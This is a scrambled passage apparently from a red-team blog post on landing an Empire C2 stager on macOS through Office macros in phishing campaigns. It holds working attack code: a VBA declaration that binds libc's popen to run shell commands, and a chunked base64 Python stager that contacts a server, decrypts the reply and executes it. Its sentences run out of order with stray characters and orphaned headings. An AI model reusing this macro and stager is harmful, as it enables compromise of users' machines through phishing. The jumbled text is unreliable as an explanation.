So here we see our requested dylib is actually being loaded via a “dlopen()” call. Private Declare PtrSafe Function system Lib “libnope.dylib” Alias “doesntexist” (ByVal command As String, ByVal mode As String) As LongPtrĪttaching a debugger to a running instance of Word, and setting a few breakpoints on common dynamic linker API functions, we execute our Macro and see the following: To understand just what is happening at an API level, let’s modify the statement slightly to: Result = system(“echo “”import sys,base64 exec(base64.b64decode(\”” ” & cmd & ” \””)) ”” | /usr/bin/python &”, “r”)Ī lot of the magic happens within the initial “Private Declare PtrSafe Function” call. Private Declare PtrSafe Function system Lib “libc.dylib” Alias “popen” (ByVal command As String, ByVal mode As String) As LongPtrĬmd = “aW1wb3J0IHN5cztpbXBvcnQgdXJsbGliMjsKVUE9J01vemlsbGEvNS”Ĭmd = cmd + “4wIChXaW5kb3dzIE5UIDYuMTsgV09XNjQ7IFRyaWRlbnQvNy”Ĭmd = cmd + “4wOyBydjoxMS4wKSBsaWtlIEdlY2tvJztzZXJ2ZXI9J2h0dH”Ĭmd = cmd + “A6Ly8xMjcuMC4wLjE6ODA4MCc7dD0nL25ld3MucGhwJztyZX”Ĭmd = cmd + “E9dXJsbGliMi5SZXF1ZXN0KHNlcnZlcit0KTsKcmVxLmFkZF”Ĭmd = cmd + “9oZWFkZXIoJ1VzZXItQWdlbnQnLFVBKTsKcmVxLmFkZF9oZW”Ĭmd = cmd + “FkZXIoJ0Nvb2tpZScsInNlc3Npb249L0Y0V3BmZllPSnNXOG”Ĭmd = cmd + “JuVGRWYVc5b3d1NGxFPSIpOwpwcm94eSA9IHVybGxpYjIuUH”Ĭmd = cmd + “JveHlIYW5kbGVyKCk7Cm8gPSB1cmxsaWIyLmJ1aWxkX29wZW”Ĭmd = cmd + “5lcihwcm94eSk7CnVybGxpYjIuaW5zdGFsbF9vcGVuZXIoby”Ĭmd = cmd + “k7CmE9dXJsbGliMi51cmxvcGVuKHJlcSkucmVhZCgpOwpJVj”Ĭmd = cmd + “1hWzA6NF07ZGF0YT1hWzQ6XTtrZXk9SVYrJ0F0eihdKUVhbk”Ĭmd = cmd + “9UajE5b2Jfa20zTWg+KzZ2TkxRfXMlJztTLGosb3V0PXJhbm”Ĭmd = cmd + “dlKDI1NiksMCxbXQpmb3IgaSBpbiByYW5nZSgyNTYpOgogIC”Ĭmd = cmd + “Agaj0oaitTW2ldK29yZChrZXlbaSVsZW4oa2V5KV0pKSUyNT”Ĭmd = cmd + “YKICAgIFNbaV0sU1tqXT1TW2pdLFNbaV0KaT1qPTAKZm9yIG”Ĭmd = cmd + “NoYXIgaW4gZGF0YToKICAgIGk9KGkrMSklMjU2CiAgICBqPS”Ĭmd = cmd + “hqK1NbaV0pJTI1NgogICAgU1tpXSxTW2pdPVNbal0sU1tpXQ”Ĭmd = cmd + “ogICAgb3V0LmFwcGVuZChjaHIob3JkKGNoYXIpXlNbKFNbaV”Ĭmd = cmd + “0rU1tqXSklMjU2XSkpCmV4ZWMoJycuam9pbihvdXQpKQ=” If we generate a stager using Empire, we end up with something that looks like this: Put simply, the Macro references an external library of libc.dylib, allowing us to execute system commands via the “popen” function. This small modification actually changes the way that the VBA payload is generated to incorporate changes made to the language in later versions of Office.
#APPLE SANDBOX REGION UPDATE#
What caught my attention was this update to the stager from on 1st March 2018: As the project is open source, we can review the history of the stager on Github. Before I started playing around with the MacOS Macro stager, I wanted to see just how this functions under the hood. We know it works, so it makes sense for us to use this same technique to target MacOS users during an engagement. Exploring the current MacOS stagers on offer from the framework, we see the typical selection of binary payloads, AppleScript, and Office Macros which you would come to expect from this kind of project.Īs we know, adversaries regularly use Macro payloads to target Microsoft Office users on Windows. Now with the merge of the separate Empyre project, Empire is quickly becoming a goto tool for handling MacOS endpoints as well.
#APPLE SANDBOX REGION WINDOWS#
Empire FrameworkĮmpire is a powerful open source C2 framework originally purposed against Windows environments by leveraging PowerShell. In this walkthrough, I will show one possible way we can go about gaining a foothold by leveraging Microsoft Office on MacOS, and present a method of escaping the MacOS sandbox that we find ourselves trapped inside of. With this in mind, I wanted to find an effective method of landing a stager on a MacOS system during a phishing campaign. You’ve completed your recon, and found that your target is using MacOS… what next? With the increased popularity of MacOS in the enterprise, we are often finding that having phishing payloads targeting only Microsoft Windows endpoints is not enough during a typical engagement.